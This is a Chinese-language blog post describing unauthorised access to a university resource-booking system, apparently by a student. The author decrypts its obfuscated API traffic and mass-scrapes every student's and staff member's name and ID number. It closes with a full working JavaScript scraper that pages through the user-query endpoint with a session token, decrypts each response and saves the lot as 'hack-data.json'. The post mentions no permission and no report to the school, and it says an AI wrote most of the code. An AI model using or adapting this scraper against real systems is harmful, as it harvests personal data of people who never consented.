Kein System ist sicher. (没有绝对安全的系统)

自笔者上次发现L校图书馆毕业纪念网站的安全问题后,很长时间都没有什么新的发现了…… 直到某天,ZZR在L校的APP上发现资源预约系统可以查看所有在校师生的姓名、工号等敏感信息,然后将这一发现分享给了我,于是一个种子播下了.

初次尝试

我找到了该资源预约系统的网页端,F12 打开开发者工具,找到相关数据的请求包.

lzu-cgyy-index.jpg
简单测试发现网页数据是该post请求返回的

首先是这个post请求的url最后的参数非常奇怪,再点击response会发现不是网页中显示的数据,而是很长的一串字符,request同样是一串很长的字符。笔者非常果断地放弃了……

lzu-cgyy-response.jpg
奇怪的response
lzu-cgyy-request.jpg
奇怪的request

Two thousand years later …

某天,WJY说总是预约不上羽毛球场,问我能不能写一个一键预约脚本用于该系统,我说有难度……

回到宿舍,我又打开了那个网站,因为没有思路,然后又默默地❌掉了……


前面铺垫这么久,就是想突出一下这次渗透测试的难度嘿嘿。下面开始正文!

存在加密

网页显示的数据一定就是post请求的response,而显示的结果是明文,说明一定存在解密过程,而且一定是在前端解密的(后端解密就没有加密的必要了😅),那一定就可以找到解密部分的代码!

lzu-cgyy-encrypt.jpg
搜索encrypt,发现可疑代码

笔者在源代码搜索栏中尝试了 crypto , encrypt 等关键字,定位加密代码部分。搜不到也可以将代码文件逐个点一遍,关键是要坚信前端一定有解密的代码.

lzu-cgyy-encrypt-function.jpg
发现解密代码

果然,没花多长时间,笔者就找到了解密的代码,在浏览器控制台运行decodeResult函数,成功解密!

lzu-cgyy-decode-response.jpg
成功解密post请求的response数据

这时候,自然会用这个函数试一下解密requset的数据.

lzu-cgyy-decode-request.jpg
成功解密post请求的request数据

post请求的url参数是个什么鬼?

笔者第一次遇到这么奇怪的url参数,延续上面的想法,起初以为这个参数也是加密后的结果,可是死活找不到加密的代码,按照上面加密过程反向解密也不行,然后就卡在这里了……

不过,post请求是从前端发到后端的,意味着url也是前端生成的,那么一定能在前端找到生成它的代码.

lzu-cgyy-stack-trace.jpg
post请求的生成堆栈

在AI君的帮助下,笔者一点一点读完了这些打包混淆的代码,找到了一个关键的代码片段.

lzu-cgyy-key-code.jpg
发出post请求的关键代码

经调试,post请求的url在发出时,没有后面的奇怪参数,且request也没有加密,而且笔者第二天发出相同request请求却得到不同的url参数,于是猜测这个url参数是动态生成的,可能是依据token和cookie生成的。(弄清这个url参数真的是花了很长时间,最后是在控制台构造了一个post请求发出后成功返回了数据才确认了这个请求过程)

(所以实际上post请求的url就是 https://example.com/hzsun-resm/sys/user/queryUserByConfitionPage ,请求头加上 X-Access-Token 参数,结合请求头的cookie发出post请求时,浏览器Network显示的url就自动加上了那个奇怪的令牌参数)

爬取数据

最后就是快乐地爬取数据环节.(当然是用控制台爬取,浏览器控制台自动处理请求头带上cookie真的太方便了)

一开始笔者按照常规爬取思路,准备按页爬取保存,后来发现浏览器每次保存需手动点击确认,就将每页爬取的数据合并再一次保存下来.

学到了什么

  • 浏览器控制台爬数据不要太爽,javascript值得一学!
  • 感觉Google Chrome的Console和Debugger比Firefox要正常,也有可能是我误点了什么(同样的post请求构造,Firefox返回400,Chrome正常返回response数据;起先Firefox也是正常返回,后来就一直返回400,我找了好长时间原因,最后在Chrome上发post请求完全正常)
  • 浏览器Private窗口操作,关闭所有Private窗口后,所有缓存都会被清除
  • AI君真是最强搭档,本次渗透的代码有95%均为AI君完成,剩下5%是笔者细致入微的提问和耐心的等待(什么时候deepseek不再出现服务器繁忙啊啊啊)

(❓)浏览器post请求显示的request为什么是加密的

post请求发出后,前端的request拦截函数做的加密(笔者水平有限,猜测过程是这样的)

lzu-cgyy-interceptors-stack-trace.jpg
post请求生成堆栈中的request拦截函数
lzu-cgyy-interceptors.jpg
request拦截函数代码

(附录)js代码

const url = "https://example.com/hzsun-resm/sys/user/queryUserByConfitionPage";
const token = "EXAMPLEopeyJ0e02jfXAiOiJKV1QixxLCJhbGciOiJIUzIpjafds1NiJ9.eyJleHAiOjE3N1lIjoiMzIwMjEw9fjadsOTQ4MjUxIn0.24XCcXb5HZJ1Rrw4YTYC4w1Qrgv3AQ";

async function runBrowser() {
  const total = 1000; // 根据实际情况确认总页数
  const batchSize = 10;
  const allData = []; // 存储所有响应数据

  async function sendRequest(offset) {
    const payload = { 
      "limit": 100,
      "offset": offset,
      "userIdList": [],
      "excludeRoleId": "", 
      "roleId": "", 
      "orgId": "", 
      "realname": "", 
      "username": "", 
      "userTypeCode": ""
    };

    try {
      const response = await fetch(url, { 
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-Access-Token': token
        },
        body: JSON.stringify(payload)
      });

      if (!response.ok) throw new Error(`HTTP错误! 状态码: ${response.status}`);
      
      const data = await response.json();
      allData.push(decodeResult(data)['responseResult']['rows']); // 将响应数据存入数组

    } catch (error) {
      console.error(`Offset ${offset} 失败:`, error);
    }
  }

  // 分批发送请求
  for (let i = 1; i <= total; i += batchSize) {
    const promises = [];
    for (let j = 0; j < batchSize && i + j <= total; j++) {
      promises.push(sendRequest(i + j));
    }
    await Promise.all(promises);
    await new Promise(resolve => setTimeout(resolve, 1000)); // 批次间隔
    console.log(i);
  }

  // 创建并下载合并后的文件
  const blob = new Blob([JSON.stringify(allData)], { type: 'application/json' });
  const downloadUrl = URL.createObjectURL(blob);
  const link = document.createElement('a');
  link.href = downloadUrl;
  link.download = 'hack-data.json';
  document.body.appendChild(link);
  link.click();
  document.body.removeChild(link);
  URL.revokeObjectURL(downloadUrl);
}

// 启动抓取
runBrowser();